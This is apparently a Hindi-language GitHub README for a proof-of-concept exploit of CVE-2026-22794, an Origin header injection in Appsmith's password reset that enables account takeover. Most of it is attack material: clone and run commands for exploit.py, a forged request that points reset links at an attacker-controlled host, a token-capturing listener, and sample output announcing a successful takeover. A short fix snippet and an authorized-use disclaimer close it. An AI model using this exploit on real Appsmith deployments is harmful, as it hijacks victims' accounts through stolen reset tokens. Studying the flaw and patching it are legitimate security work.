
🔴 CVE-2026-22794 - ओरिजिन हेडर इंजेक्शन के माध्यम से Appsmith पासवर्ड रीसेट खाता अधिग्रहण | PoC एक्सप्लॉइट + Nuclei टेम्पलेट
Origin हेडर हेरफेर के माध्यम से पासवर्ड रीसेट लिंक अपहरण
इस रिपॉजिटरी में CVE-2026-22794 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) एक्सप्लॉइट शामिल है, जो Appsmith में एक गंभीर भेद्यता है जो हमलावरों को पासवर्ड रीसेट टोकन अपहरण करने और पूर्ण खाता अधिग्रहण प्राप्त करने की अनुमति देती है।
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2026-22794 |
| प्रभावित सॉफ्टवेयर | Appsmith (पैच से पहले के संस्करण) |
| भेद्यता प्रकार | Origin Header Injection |
| प्रभाव | पूर्ण खाता अधिग्रहण |
| CVSS स्कोर | 9.1 (गंभीर) |
| हमला वेक्टर | नेटवर्क |
| हमला जटिलता | कम |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | आवश्यक (पीड़ित लिंक पर क्लिक करता है) |
Appsmith पासवर्ड रीसेट और ईमेल सत्यापन URL बनाने के लिए बिना सत्यापन के HTTP Origin हेडर का उपयोग करता है। कमजोर कोड सीधे Origin हेडर को पासवर्ड रीसेट बेस URL पर असाइन करता है:
userPasswordDTO.setBaseUrl(originHeader);
यह एक हमलावर को अनुमति देता है:
┌─────────────────────────────────────────────────────────────────┐
│ ATTACK FLOW │
└─────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────┐ ┌──────────┐
│ ATTACKER │ │ APPSMITH │ │ VICTIM │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. POST /forgotPassword │ │
│ Origin: attacker.com │ │
│ email: [email protected] │ │
│──────────────────────────────>│ │
│ │ │
│ │ 2. Send email with │
│ │ attacker.com/reset?token │
│ │──────────────────────────────>│
│ │ │
│ 3. Victim clicks link │ │
│<──────────────────────────────────────────────────────────────│
│ │ │
│ 4. Token captured! │ │
│ │ │
│ 5. POST /resetPassword │ │
│ token: STOLEN_TOKEN │ │
│ password: attacker123 │ │
│──────────────────────────────>│ │
│ │ │
│ 6. ACCOUNT TAKEOVER! ✓ │ │
│ │ │
# रिपॉजिटरी क्लोन करें
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# निर्भरताएँ स्थापित करें
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
Password Reset Link: https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] INCOMING REQUEST CAPTURED!
[*] Path: /user/resetPassword?token=abc123xyz789...
[!!!] PASSWORD RESET TOKEN CAPTURED!
[!!!] Token: abc123xyz789...
[+] ACCOUNT TAKEOVER SUCCESSFUL!
[+] Password has been reset to: NewP@ssw0rd!
Appsmith का उपयोग करने वाले संगठनों को चाहिए:
// ❌ कमजोर कोड
userPasswordDTO.setBaseUrl(originHeader);
// ✅ सुरक्षित कोड
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// या व्हाइटलिस्ट के विरुद्ध सत्यापित करें
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("Invalid origin header");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
├── README.md # यह फ़ाइल
├── exploit.py # मुख्य एक्सप्लॉइट स्क्रिप्ट
├── requirements.txt # Python निर्भरताएँ
├── LICENSE # MIT लाइसेंस
└── docs/
└── technical_analysis.md # विस्तृत भेद्यता विश्लेषण
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।
सुरक्षा शोधकर्ता
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
⭐ यदि आपको यह उपयोगी लगा, तो कृपया रिपॉजिटरी को स्टार करें! ⭐